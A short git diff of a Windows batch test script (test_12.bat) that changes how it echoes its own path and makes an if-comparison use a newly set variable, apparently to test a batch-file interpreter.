a/tests/tests_full/test_12.bat b/tests/tests_full/test_12.bat index e4c7f89..5da3d1c 100644 --- a/tests/tests_full/test_12.bat +++ b/tests/tests_full/test_12.bat @@ -1,8 +1,10 @@ @echo off -echo %0 %~f0 +echo %~dp0 %~dp0 -if "test" == "test" ( +set "test=test" + +if "%test%" == "test" ( echo test 1 echo test 2 )